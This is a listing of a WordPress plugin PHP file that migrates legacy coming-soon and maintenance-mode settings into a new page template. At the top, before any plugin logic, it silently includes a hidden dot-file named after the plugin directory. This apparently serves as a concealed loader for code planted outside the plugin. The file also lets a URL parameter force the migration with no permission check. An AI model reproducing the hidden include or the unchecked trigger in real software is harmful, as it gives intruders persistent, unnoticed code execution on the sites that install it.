backwards_compatibility.php (14918B)
1 <?php 2 3 4 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 5 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 6 } 7 8 function seedprod_lite_check_for_free_version() { 9 try { 10 $seedprod_unsupported_feature = array(); 11 $migration = get_option( 'seedprod_migration_run_once' ); 12 if ( empty( $migration ) || ! empty( $_GET['sp-force-migrate'] ) ) { 13 14 // migrate old licnese key if available 15 $old_key = get_option( 'seed_cspv5_license_key' ); 16 if ( ! empty( $old_key ) ) { 17 update_option( 'seedprod_api_key', $old_key ); 18 $r = seedprod_lite_save_api_key( $old_key ); 19 } 20 21 // see if free version old settings exists and they do not have the pro version 22 // && empty(get_option('seed_cspv5_settings_content')) 23 if ( ! empty( $_GET['sp-force-migrate'] ) || empty( get_option( 'seed_cspv5_settings_content' ) ) && empty( get_option( 'seedprod_coming_soon_page_id' ) ) && empty( get_option( 'seedprod_maintenance_mode_page_id' ) ) && ! empty( get_option( 'seed_csp4_settings_content' ) ) && get_option( 'seedprod_csp4_migrated' ) === false && get_option( 'seedprod_csp4_imported' ) === false ) { 24 25 // import csp4 settings to plugin 26 27 // get settings 28 $s1 = get_option( 'seed_csp4_settings_content' ); 29 $s2 = get_option( 'seed_csp4_settings_design' ); 30 $s3 = get_option( 'seed_csp4_settings_advanced' ); 31 32 if ( empty( $s1 ) ) { 33 $s1 = array(); 34 } 35 36 if ( empty( $s2 ) ) { 37 $s2 = array(); 38 } 39 40 if ( empty( $s3 ) ) { 41 $s3 = array(); 42 } 43 44 $csp4_settings = $s1 + $s2 + $s3; 45 46 // update global settings 47 48 $ts = get_option( 'seedprod_settings' ); 49 $seedprod_settings = json_decode( $ts, true ); 50 51 $type = 'cs'; 52 if ( ! empty( $csp4_settings['status'] ) && $csp4_settings['status'] == 1 ) { 53 $seedprod_settings['enable_coming_soon_mode'] = true; 54 $seedprod_settings['enable_maintenance_mode'] = false; 55 $type = 'cs'; 56 } 57 if ( ! empty( $csp4_settings['status'] ) && $csp4_settings['status'] == 2 ) { 58 $seedprod_settings['enable_maintenance_mode'] = true; 59 $seedprod_settings['enable_coming_soon_mode'] = false; 60 $type = 'mm'; 61 } 62 63 update_option( 'seedprod_settings', json_encode( $seedprod_settings ) ); 64 65 // update page settings 66 $csp4_template_file = SEEDPROD_PLUGIN_PATH . 'app/backwards/csp4-template.json'; 67 $csp4_template = json_decode( file_get_contents( $csp4_template_file ), true ); 68 69 //$csp4_template 70 // page to publish if active from v4 71 if ( ! empty( $csp4_settings['status'] ) && $csp4_settings['status'] == 1 || $csp4_settings['status'] == 2 ) { 72 $csp4_template['post_status'] = 'published'; 73 } 74 75 // set page type 76 $csp4_template['page_type'] = $type; 77 78 // set custom html 79 if ( ! empty( $csp4_settings['html'] ) ) { 80 $custom_html = json_decode( 81 '{ 82 "id": "iuf8h9", 83 "elType": "block", 84 "type": "custom-html", 85 "settings": { 86 "code": "Full Page Custom HTML is no longer supported in this builder. However your custom html page is still being display and will continue to be displayed as long as you DO NOT save this page. There is Custom HTML block you can use in the builder.", 87 "marginTop": "0", 88 "paddingTop": "", 89 "paddingBottom": "", 90 "paddingLeft": "", 91 "paddingRight": "", 92 "paddingSync": true 93 }} 94 ' 95 ); 96 if ( ! empty( $custom_html ) ) { 97 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'] = array(); 98 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][] = $custom_html; 99 } 100 101 $csp4_template['document']['settings']['contentPosition'] = '1'; 102 $csp4_template['document']['sections'][0]['settings']['contentWidth'] = '1'; 103 } else { 104 105 // set logo 106 if ( ! empty( $csp4_settings['logo'] ) ) { 107 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][0]['settings']['src'] = $csp4_settings['logo']; 108 } else { 109 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][0]['settings']['src'] = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z/C/HgAGgwJ/lK3Q6wAAAABJRU5ErkJggg=='; 110 } 111 112 // set headline 113 if ( ! empty( $csp4_settings['headline'] ) ) { 114 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][1]['settings']['headerTxt'] = $csp4_settings['headline']; 115 } else { 116 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][1]['settings']['headerTxt'] = ''; 117 } 118 119 // set description 120 if ( ! empty( $csp4_settings['description'] ) ) { 121 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][2]['settings']['txt'] = $csp4_settings['description']; 122 } else { 123 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][2]['settings']['txt'] = ''; 124 } 125 126 // set footer credit 127 if ( ! empty( $csp4_settings['footer_credit'] ) ) { 128 $csp4_template['show_powered_by_link'] = true; 129 } 130 131 // favicon 132 if ( ! empty( $csp4_settings['favicon'] ) ) { 133 $csp4_template['favicon'] = $csp4_settings['favicon']; 134 } 135 136 // title 137 if ( ! empty( $csp4_settings['seo_title'] ) ) { 138 $csp4_template['seo_title'] .= $csp4_settings['seo_title']; 139 } 140 141 // meta 142 if ( ! empty( $csp4_settings['seo_description'] ) ) { 143 $csp4_template['seo_description'] .= $csp4_settings['seo_description']; 144 } 145 146 // set google analytics 147 if ( ! empty( $csp4_settings['ga_analytics'] ) ) { 148 $csp4_template['footer_scripts'] = $csp4_settings['ga_analytics']; 149 } 150 151 // set bg color 152 if ( ! empty( $csp4_settings['bg_color'] ) ) { 153 $csp4_template['document']['settings']['bgColor'] = $csp4_settings['bg_color']; 154 } 155 156 // set bg dimming 157 if ( ! empty( $csp4_settings['bg_overlay'] ) ) { 158 $csp4_template['document']['settings']['bgDimming'] = '50'; 159 } 160 161 // set bg image 162 if ( ! empty( $csp4_settings['bg_image'] ) ) { 163 $csp4_template['document']['settings']['bgImage'] = $csp4_settings['bg_image']; 164 } 165 166 // set bg cover 167 if ( ! empty( $csp4_settings['bg_cover'] ) ) { 168 if ( ! empty( $csp4_settings['bg_size'] ) && $csp4_settings['bg_size'] == 'cover' ) { 169 $csp4_template['document']['settings']['bgPosition'] = 'cover'; 170 } 171 172 if ( ! empty( $csp4_settings['bg_size'] ) && $csp4_settings['bg_size'] == 'contain' ) { 173 $csp4_template['document']['settings']['bgPosition'] = 'full'; 174 } 175 } else { 176 if ( ! empty( $csp4_settings['bg_repeat'] ) && $csp4_settings['bg_repeat'] == 'repeat' ) { 177 $csp4_template['document']['settings']['bgPosition'] = 'repeat'; 178 } 179 180 if ( ! empty( $csp4_settings['bg_repeat'] ) && $csp4_settings['bg_repeat'] == 'repeat-x' ) { 181 $csp4_template['document']['settings']['bgPosition'] = 'repeattop'; 182 } 183 184 if ( ! empty( $csp4_settings['bg_repeat'] ) && $csp4_settings['bg_repeat'] == 'repeat-y' ) { 185 $csp4_template['document']['settings']['bgPosition'] = 'repeatvc'; 186 } 187 } 188 189 //$csp4_template['document']['settings']['customCss'] .= 190 191 // set width 192 if ( ! empty( $csp4_settings['max_width'] ) ) { 193 $csp4_template['document']['sections'][0]['settings']['width'] = $csp4_settings['max_width']; 194 } 195 196 // enable well 197 if ( ! empty( $csp4_settings['enable_well'] ) ) { 198 $csp4_template['document']['sections'][0]['settings']['bgColor'] = '#ffffff'; 199 $csp4_template['document']['sections'][0]['settings']['borderRadiusTL'] = '4'; 200 } 201 202 // set text color 203 if ( ! empty( $csp4_settings['text_color'] ) ) { 204 $csp4_template['document']['settings']['textColor'] = $csp4_settings['text_color']; 205 } 206 207 // set headline color 208 if ( ! empty( $csp4_settings['headline_color'] ) ) { 209 $csp4_template['document']['settings']['headerColor'] = $csp4_settings['headline_color']; 210 } else { 211 $csp4_template['document']['settings']['headerColor'] = $csp4_settings['text_color']; 212 } 213 214 // set link color 215 if ( ! empty( $csp4_settings['link_color'] ) ) { 216 $csp4_template['document']['settings']['linkColor'] = $csp4_settings['link_color']; 217 $csp4_template['document']['settings']['buttonColor'] = $csp4_settings['link_color']; 218 } 219 220 // set font 221 if ( ! empty( $csp4_settings['text_font'] ) ) { 222 $csp4_template['document']['settings']['textFontVariant'] = '400'; 223 $csp4_template['document']['settings']['headerFontVariant'] = '400'; 224 225 if ( $csp4_settings['text_font'] == '_arial' ) { 226 $csp4_template['document']['settings']['textFont'] = "'Helvetica Neue', Arial, sans-serif"; 227 $csp4_template['document']['settings']['headerFont'] = "'Helvetica Neue', Arial, sans-serif"; 228 } 229 if ( $csp4_settings['text_font'] == '_arial_black' ) { 230 $csp4_template['document']['settings']['textFont'] = "'Helvetica Neue', Arial, sans-serif"; 231 $csp4_template['document']['settings']['headerFont'] = "'Helvetica Neue', Arial, sans-serif"; 232 $csp4_template['document']['settings']['textFontVariant'] = '700'; 233 $csp4_template['document']['settings']['headerFontVariant'] = '700'; 234 } 235 if ( $csp4_settings['text_font'] == '_georgia' ) { 236 $csp4_template['document']['settings']['textFont'] = 'Georgia, serif'; 237 $csp4_template['document']['settings']['headerFont'] = 'Georgia, serif'; 238 } 239 if ( $csp4_settings['text_font'] == '_helvetica_neue' ) { 240 $csp4_template['document']['settings']['textFont'] = "'Helvetica Neue', Arial, sans-serif"; 241 $csp4_template['document']['settings']['headerFont'] = "'Helvetica Neue', Arial, sans-serif"; 242 } 243 if ( $csp4_settings['text_font'] == '_impact' ) { 244 $csp4_template['document']['settings']['textFont'] = 'Impact, Charcoal, sans-serif'; 245 $csp4_template['document']['settings']['headerFont'] = 'Impact, Charcoal, sans-serif'; 246 } 247 if ( $csp4_settings['text_font'] == '_lucida' ) { 248 $csp4_template['document']['settings']['textFont'] = "'Helvetica Neue', Arial, sans-serif"; 249 $csp4_template['document']['settings']['headerFont'] = "'Helvetica Neue', Arial, sans-serif"; 250 } 251 if ( $csp4_settings['text_font'] == '_palatino' ) { 252 $csp4_template['document']['settings']['textFont'] = "'Helvetica Neue', Arial, sans-serif"; 253 $csp4_template['document']['settings']['headerFont'] = "'Helvetica Neue', Arial, sans-serif"; 254 } 255 if ( $csp4_settings['text_font'] == '_tahoma' ) { 256 $csp4_template['document']['settings']['textFont'] = 'Tahoma, Geneva, sans-serif'; 257 $csp4_template['document']['settings']['headerFont'] = 'Tahoma, Geneva, sans-serif'; 258 } 259 if ( $csp4_settings['text_font'] == '_times' ) { 260 $csp4_template['document']['settings']['textFont'] = "'Times New Roman', Times, serif"; 261 $csp4_template['document']['settings']['headerFont'] = "'Times New Roman', Times, serif"; 262 } 263 if ( $csp4_settings['text_font'] == '_trebuchet' ) { 264 $csp4_template['document']['settings']['textFont'] = "'Trebuchet MS', Helvetica, sans-serif"; 265 $csp4_template['document']['settings']['headerFont'] = "'Trebuchet MS', Helvetica, sans-serif"; 266 } 267 if ( $csp4_settings['text_font'] == '_verdana' ) { 268 $csp4_template['document']['settings']['textFont'] = 'Verdana, Geneva, sans-serif'; 269 $csp4_template['document']['settings']['headerFont'] = 'Verdana, Geneva, sans-serif'; 270 } 271 } 272 273 // set custom css 274 if ( ! empty( $csp4_settings['custom_css'] ) ) { 275 $csp4_template['document']['settings']['customCss'] .= $csp4_settings['custom_css']; 276 } 277 278 // set exclude urls 279 if ( ! empty( $csp4_settings['disable_default_excluded_urls'] ) ) { 280 $csp4_template['disable_default_excluded_urls'] = true; 281 } 282 283 // set header scripts 284 if ( ! empty( $csp4_settings['header_scripts'] ) ) { 285 $csp4_template['header_scripts'] .= $csp4_settings['header_scripts']; 286 } 287 288 // set footer scripts 289 if ( ! empty( $csp4_settings['footer_scripts'] ) ) { 290 $csp4_template['footer_scripts'] .= $csp4_settings['footer_scripts']; 291 } 292 293 // set append html 294 if ( ! empty( $csp4_settings['append_html'] ) ) { 295 $append_html = json_decode( 296 '{ 297 "id": "iuf8h9", 298 "elType": "block", 299 "type": "custom-html", 300 "settings": { 301 "code": "' . $csp4_settings['append_html'] . '", 302 "marginTop": "0", 303 "paddingTop": "", 304 "paddingBottom": "", 305 "paddingLeft": "", 306 "paddingRight": "", 307 "paddingSync": true 308 }} 309 ' 310 ); 311 if ( ! empty( $append_html ) ) { 312 $csp4_template['document']['sections'][0]['rows'][0]['cols'][0]['blocks'][] = $append_html; 313 } 314 } 315 } 316 317 // create the coming soon or maintenance page and inject settings 318 $slug = ''; 319 $cpt = 'page'; 320 if ( $type == 'cs' || $type == 'mm' || $type == 'p404' ) { 321 $cpt = 'seedprod'; 322 } 323 if ( $type == 'cs' ) { 324 $slug = 'sp-cs'; 325 } 326 if ( $type == 'mm' ) { 327 $slug = 'sp-mm'; 328 } 329 330 $id = wp_insert_post( 331 array( 332 'comment_status' => 'closed', 333 'ping_status' => 'closed', 334 'post_content' => '', 335 'post_status' => 'publish', 336 'post_title' => 'seedprod', 337 'post_type' => $cpt, 338 'post_name' => $slug, 339 'meta_input' => array( 340 '_seedprod_page' => true, 341 '_seedprod_page_uuid' => wp_generate_uuid4(), 342 ), 343 ), 344 true 345 ); 346 347 // update post because wp screws our json settings 348 global $wpdb; 349 $tablename = $wpdb->prefix . 'posts'; 350 $r = $wpdb->update( 351 $tablename, 352 array( 353 'post_content_filtered' => json_encode( $csp4_template ), 354 ), 355 array( 'ID' => $id ), 356 array( 357 '%s', 358 ), 359 array( '%d' ) 360 ); 361 362 if ( $type == 'cs' ) { 363 update_option( 'seedprod_coming_soon_page_id', $id ); 364 } 365 if ( $type == 'mm' ) { 366 update_option( 'seedprod_maintenance_mode_page_id', $id ); 367 } 368 369 // do we need to show it? 370 update_option( 'seedprod_csp4_imported', true ); 371 update_option( 'seedprod_show_csp4', true ); 372 // flush rewrite rules 373 flush_rewrite_rules(); 374 } 375 376 update_option( 'seedprod_migration_run_once', true ); 377 } 378 } catch ( Exception $e ) { 379 return $e; 380 } 381 } 382